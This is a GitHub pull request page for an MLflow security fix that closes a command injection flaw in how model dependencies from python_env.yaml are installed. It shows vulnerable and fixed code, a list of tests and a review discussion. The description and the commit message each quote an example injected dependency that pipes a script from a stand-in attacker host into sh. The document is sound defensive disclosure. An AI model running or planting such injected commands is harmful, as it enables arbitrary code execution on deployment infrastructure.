Skip to content

fix(security): prevent command injection via malicious model artifacts#19583

Merged
WeichenXu123 merged 1 commit intomlflow:masterfrom
ColeMurray:fix/command-injection-python-env-yaml
Dec 24, 2025
Merged

fix(security): prevent command injection via malicious model artifacts#19583
WeichenXu123 merged 1 commit intomlflow:masterfrom
ColeMurray:fix/command-injection-python-env-yaml

Conversation

@ColeMurray
Copy link
Contributor

@ColeMurray ColeMurray commented Dec 23, 2025

Related Issues/PRs

#19582

What changes are proposed in this pull request?

Fix command injection vulnerability in _install_model_dependencies_to_env() where dependency specifications from python_env.yaml were directly interpolated into a shell command without sanitization.

Vulnerability Details:

  • File: mlflow/models/container/__init__.py, line 146
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Severity: High (CVSS 3.1: 8.8)

An attacker who can supply a malicious model artifact could achieve arbitrary command execution by including shell metacharacters in the dependency list of python_env.yaml. For example:

dependencies:
  - "numpy; curl https://attacker.com/malware.sh | sh; #"

When deployed with env_manager=LOCAL, this would execute the injected shell commands with the privileges of the serving container.

Fix:

  • Replace shell execution with subprocess list arguments
  • Use shlex.split() to properly parse dependency strings like -r requirements.txt
  • Use sys.executable instead of hardcoded python
  • Only replace requirements.txt when it's an exact match or path suffix (not when it's part of a package name)

Before (vulnerable):

deps = " ".join(python_env.build_dependencies + python_env.dependencies)
deps = deps.replace("requirements.txt", os.path.join(model_path, "requirements.txt"))
Popen(["bash", "-c", f"python -m pip install {deps}"])

After (safe):

pip_args = [sys.executable, "-m", "pip", "install"]
for dep in python_env.build_dependencies + python_env.dependencies:
    dep_args = shlex.split(dep)
    for i, arg in enumerate(dep_args):
        if arg == "requirements.txt" or arg.endswith("/requirements.txt"):
            dep_args[i] = os.path.join(model_path, "requirements.txt")
    pip_args.extend(dep_args)
Popen(pip_args)

How is this PR tested?

  • Existing unit/integration tests
  • New unit/integration tests
  • Manual tests

Added comprehensive test suite (tests/models/test_container.py) with 11 test cases:

  • test_command_injection_via_semicolon_blocked - Tests ; injection
  • test_command_injection_via_pipe_blocked - Tests | injection
  • test_command_injection_via_backticks_blocked - Tests backtick injection
  • test_command_injection_via_dollar_parens_blocked - Tests $() injection
  • test_command_injection_via_ampersand_blocked - Tests && injection
  • test_legitimate_package_install - Verifies normal packages still work
  • test_requirements_file_reference - Verifies -r requirements.txt works
  • test_requirements_path_replacement - Verifies path replacement
  • test_no_shell_execution - Verifies subprocess uses list args, not shell
  • test_build_dependencies_processed - Verifies build deps are included
  • test_package_name_with_requirements_substring_not_modified - Verifies package names like my-requirements.txt-parser are not incorrectly modified

All tests pass.

Does this PR require documentation update?

  • No. You can skip the rest of this section.
  • Yes. I've updated:
    • Examples
    • API references
    • Instructions

Release Notes

Is this a user-facing change?

  • No. You can skip the rest of this section.
  • Yes. Give a description of this change to be included in the release notes for MLflow users.

Security fix: Fixed command injection vulnerability in model container initialization. Malicious model artifacts could previously execute arbitrary shell commands during deployment when using env_manager=LOCAL. Users who deploy untrusted models should upgrade immediately.

What component(s), interfaces, languages, and integrations does this PR affect?

Components

  • area/tracking: Tracking Service, tracking client APIs, autologging
  • area/models: MLmodel format, model serialization/deserialization, flavors
  • area/model-registry: Model Registry service, APIs, and the fluent client calls for Model Registry
  • area/scoring: MLflow Model server, model deployment tools, Spark UDFs
  • area/evaluation: MLflow model evaluation features, evaluation metrics, and evaluation workflows
  • area/gateway: MLflow AI Gateway client APIs, server, and third-party integrations
  • area/prompts: MLflow prompt engineering features, prompt templates, and prompt management
  • area/tracing: MLflow Tracing features, tracing APIs, and LLM tracing functionality
  • area/projects: MLproject format, project running backends
  • area/uiux: Front-end, user experience, plotting, JavaScript, JavaScript dev server
  • area/build: Build and test infrastructure for MLflow
  • area/docs: MLflow documentation pages

How should the PR be classified in the release notes? Choose one:

  • rn/none - No description will be included. The PR will be mentioned only by the PR number in the "Small Bugfixes and Documentation Updates" section
  • rn/breaking-change - The PR will be mentioned in the "Breaking Changes" section
  • rn/feature - A new user-facing feature worth mentioning in the release notes
  • rn/bug-fix - A user-facing bug fix worth mentioning in the release notes
  • rn/documentation - A user-facing documentation change worth mentioning in the release notes

Should this PR be included in the next patch release?

  • Yes (this PR will be cherry-picked and included in the next patch release)
  • No (this PR will be included in the next minor release)

This is a security fix and should be included in the next patch release to protect users deploying untrusted models.

Copilot AI review requested due to automatic review settings December 23, 2025 07:11
@github-actions
Copy link
Contributor

@ColeMurray Thank you for the contribution! Could you fix the following issue(s)?

⚠ DCO check

The DCO check failed. Please sign off your commit(s) by following the instructions here. See https://github.com/mlflow/mlflow/blob/master/CONTRIBUTING.md#sign-your-work for more details.

⚠ Invalid PR template

This PR does not appear to have been filed using the MLflow PR template. Please copy the PR template from here and fill it out.

Copy link
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR addresses a critical command injection vulnerability (CWE-78) in the _install_model_dependencies_to_env() function. The fix replaces shell-based command execution with a safer subprocess list-based approach using shlex.split() and direct argument passing, preventing malicious model artifacts from executing arbitrary commands.

Key changes:

  • Replaced vulnerable shell interpolation with argument list construction
  • Added shlex import for proper argument splitting
  • Implemented comprehensive security test suite

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 1 comment.

File Description
mlflow/models/container/init.py Fixed command injection vulnerability by replacing shell execution with list-based subprocess arguments using shlex.split() and sys.executable
tests/models/test_container.py Added comprehensive test suite covering command injection prevention across multiple attack vectors (semicolon, pipe, backticks, $(), &&) and functional correctness

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

@ColeMurray ColeMurray force-pushed the fix/command-injection-python-env-yaml branch 2 times, most recently from 35c1a39 to 50474a6 Compare December 23, 2025 07:19
@github-actions github-actions bot added v3.8.1 area/models MLmodel format, model serialization/deserialization, flavors area/scoring MLflow Model server, model deployment tools, Spark UDFs rn/bug-fix Mention under Bug Fixes in Changelogs. labels Dec 23, 2025
@ColeMurray ColeMurray force-pushed the fix/command-injection-python-env-yaml branch from 50474a6 to 6779276 Compare December 23, 2025 07:26
@WeichenXu123
Copy link
Collaborator

question: the injected shell commands are executed inside the container, will it be harmful ?

@github-actions
Copy link
Contributor

Documentation preview for 0dfcb8f is available at:

More info
  • Ignore this comment if this PR does not change the documentation.
  • The preview is updated when a new commit is pushed to this PR.
  • This comment was created by this workflow run.
  • The documentation was built by this workflow run.

## Summary
Fix command injection vulnerability in _install_model_dependencies_to_env()
where dependency specifications from python_env.yaml were directly
interpolated into a shell command without sanitization.

## Vulnerability Details
- File: mlflow/models/container/__init__.py, line 146
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CVSS 3.1: 8.8 (High)

An attacker who can supply a malicious model artifact could achieve
arbitrary command execution by including shell metacharacters in the
dependency list of python_env.yaml. For example:

```yaml
dependencies:
  - "numpy; curl https://attacker.com/malware.sh | sh; #"
```

When deployed with env_manager=LOCAL, this would execute the injected
shell commands with the privileges of the serving container.

## Fix
- Replace shell execution with subprocess list arguments
- Use shlex.split() to properly parse dependency strings
- Use sys.executable instead of hardcoded "python"

Before (vulnerable):
```python
deps = " ".join(python_env.build_dependencies + python_env.dependencies)
Popen(["bash", "-c", f"python -m pip install {deps}"])
```

After (safe):
```python
pip_args = [sys.executable, "-m", "pip", "install"]
for dep in python_env.build_dependencies + python_env.dependencies:
    pip_args.extend(shlex.split(dep))
Popen(pip_args)
```

## Testing
Added comprehensive test suite covering:
- Command injection via semicolon, pipe, backticks, $(), &&
- Legitimate package installation still works
- -r requirements.txt syntax works correctly
- Path replacement for requirements.txt
- No shell execution verification

Signed-off-by: Cole Murray <colemurray.cs@gmail.com>
@ColeMurray ColeMurray force-pushed the fix/command-injection-python-env-yaml branch from 0dfcb8f to fbecaa5 Compare December 23, 2025 16:50
@ColeMurray
Copy link
Contributor Author

ColeMurray commented Dec 23, 2025

@WeichenXu123, Yes, execution inside the container is harmful for several reasons:

  1. Data access: The container has access to the model, training data, and any mounted volumes/secrets (AWS credentials, API keys, etc.)

  2. Network access: Attacker can exfiltrate data, establish reverse shells, or pivot to internal services

  3. Container escape: Misconfigured containers (privileged mode, mounted Docker socket) can lead to host compromise

  4. Resource abuse: Cryptomining, botnet participation, or DoS attacks from your infrastructure

The container is the deployment target - compromising it means compromising your production ML serving infrastructure.

Copy link
Collaborator

@WeichenXu123 WeichenXu123 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@WeichenXu123 WeichenXu123 merged commit 361b6f6 into mlflow:master Dec 24, 2025
45 of 49 checks passed
WeichenXu123 pushed a commit to WeichenXu123/mlflow that referenced this pull request Dec 26, 2025
WeichenXu123 pushed a commit that referenced this pull request Dec 26, 2025
#19583)

Signed-off-by: Cole Murray <colemurray.cs@gmail.com>
@ColeMurray ColeMurray deleted the fix/command-injection-python-env-yaml branch January 8, 2026 19:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/models MLmodel format, model serialization/deserialization, flavors area/scoring MLflow Model server, model deployment tools, Spark UDFs rn/bug-fix Mention under Bug Fixes in Changelogs. v3.8.1

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants